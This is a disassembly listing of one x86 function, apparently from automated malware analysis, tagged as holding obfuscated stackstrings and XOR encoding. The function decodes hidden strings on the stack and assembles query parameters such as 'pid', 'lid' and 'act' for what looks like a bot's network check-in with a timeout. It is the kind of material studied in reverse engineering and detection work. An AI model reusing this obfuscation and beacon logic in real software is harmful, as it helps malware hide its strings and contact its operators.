Function at 0x4098f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x104
cmp dword [ecx + 0x20], 0
je 0x409c73
mov esi, ecx
lea eax, [ecx + 0x10]
push eax
call fcn.00406140
add esp, 4
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 4], eax
movzx eax, byte [esi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esp + 2], al
mov byte [esp + 3], 0
mov dword [esp + 8], edx
lea eax, [edx + 0x400]
push eax
call fcn.004082c0
add esp, 4
mov edi, eax
mov dword [esp + 0x68], 0x838f928c
mov byte [esp + 0x6c], 0x28
mov eax, 0x73267604
mov ecx, 0xfb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x7326759c]
lea ebx, [edx + edx]
not ebx
add ebx, edx
and ebx, eax
and edx, ecx
or edx, ebx
add edx, 0x66cc4fdf
mov ebx, edx
and ebx, 1
xor edx, 1
lea edx, [edx + ebx*2]
mov byte [esp + eax - 0x7326759c], dl
inc eax
dec ecx
cmp eax, 0x73267609
jne 0x409980
lea ebx, [esp + 0x68]
mov ecx, esi
push 0x44373c
push ebx
push edi
call fcn.00409230
mov dword [esp + 0x68], 0x646970
lea eax, [esp + 2]
mov ecx, esi
push eax
push ebx
push edi
call fcn.00409230
mov eax, dword [str.Dvh8ui__444]
mov dword [esp + 0x68], 0x64696c
mov ecx, esi
push eax
push ebx
push edi
call fcn.00409230
mov dword [esp + 0x68], 0x68756f7a
mov dword [esp + 0x6c], 0x736a7362
mov dword [esp + 0x70], 0x61646372
mov byte [esp + 0x74], 5
xor ebp, ebp
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebp
and eax, 2
mov edx, ecx
xor edx, 1
add edx, eax
xor dl, byte [esp + ecx + 0x68]
add dl, 0xf8
mov byte [esp + ecx + 0x68], dl
inc ecx
add ebp, 2
cmp ecx, 0xd
jne 0x409a20
mov dword [esp + 0xe], 0x746361
lea eax, [esp + 0xe]
mov ecx, esi
push ebx
push eax
push edi
call fcn.00409230
mov dword [esp + 0x68], 0xb8b0b2bc
mov byte [esp + 0x6c], 0x5e
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x68]
lea edx, [eax + 0x252e030a]
xor edx, ecx
mov ecx, edx
and ecx, 0x2f
xor edx, 0xaf
lea ecx, [edx + ecx*2]
inc cl
mov byte [esp + eax + 0x68], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 5
jb 0x409a70
mov ecx, esi
push dword [esp + 8]
push dword [esp + 8]
push ebx
push edi
call fcn.00409490
mov dword [esp + 0xe], 0xd3bdd193
mov dword [esp + 0x12], 0xd7a2d5ba
mov dword [esp + 0x16], 0xdbb4d9bd
mov dword [esp + 0x1a], 0xdff3dda8
mov dword [esp + 0x1e], 0xe39be1b4
mov dword [esp + 0x22], 0xe783e594
mov dword [esp + 0x26], 0xebcae9d2
mov dword [esp + 0x2a], 0xef9bed81
mov dword [esp + 0x2e], 0xf386f19c
mov dword [esp + 0x32], 0xf786f59d
mov dword [esp + 0x36], 0xfb88f999
mov dword [esp + 0x3a], 0xffd1fd88
mov dword [esp + 0x3e], 0x36d0166
mov dword [esp + 0x42], 0x76b0576
mov dword [esp + 0x46], 0xb6e0925
mov dword [esp + 0x4a], 0xf7a0d6d
mov dword [esp + 0x4e], 0x13291171
mov dword [esp + 0x52], 0x17741534
mov dword [esp + 0x56], 0x1b6f1977
mov dword [esp + 0x5a], 0x1f7a1d72
mov dword [esp + 0x5e], 0x23502141
mov dword [esp + 0x62], 0x271b255d
mov word [esp + 0x66], 0x2928
xor eax, eax
xor ecx, ecx
nop
nop
nop
mov ebp, ecx
xor ebp, 0xb0
mov edx, eax
and edx, 0x9e
sub edx, ebp
xor dl, byte [esp + ecx + 0xe]
add dl, 0x80
mov byte [esp + ecx + 0xe], dl
inc ecx
add eax, 2
cmp ecx, 0x5a
jne 0x409b70
movzx eax, word [esp + 0xe]
test ax, ax
je 0x409bc1
lea ebx, [esp + 0x68]
lea ecx, [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebx], ax
add ebx, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409bb0
mov word [ebx], 0
movzx ecx, byte [esi + 0x60]
test cl, cl
je 0x409bf1
lea eax, [esi + 0x61]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [ebx], cx
add ebx, 2
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x409be0
mov dword [ebx], 0xa000d
mov word [ebx + 4], 0
mov eax, dword [esi + 0x80]
mov dword [esp + 0xe], 0xc5a5c3ed
mov dword [esp + 0x12], 0xc9a1c756
mov word [esp + 0x16], 0xcbca
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0x52
xor dl, byte [esp + ecx + 0xe]
add dl, 0x70
mov byte [esp + ecx + 0xe], dl
inc ecx
cmp ecx, 0xa
jne 0x409c20
lea ecx, [esp + 0x68]
push 0x493e0
push eax
push edi
push 0
push 0
push ecx
lea eax, [esp + 0x26]
push eax
call fcn.0040bff0
add esp, 0x1c
mov ebx, eax
push edi
call fcn.004082d0
add esp, 4
mov eax, dword [esi + 0x80]
add dword [esi + 4], eax
mov dword [esi + 0x80], 0
jmp 0x409c75
mov bl, 1
mov eax, ebx
add esp, 0x104
pop esi
pop edi
pop ebx
pop ebp
ret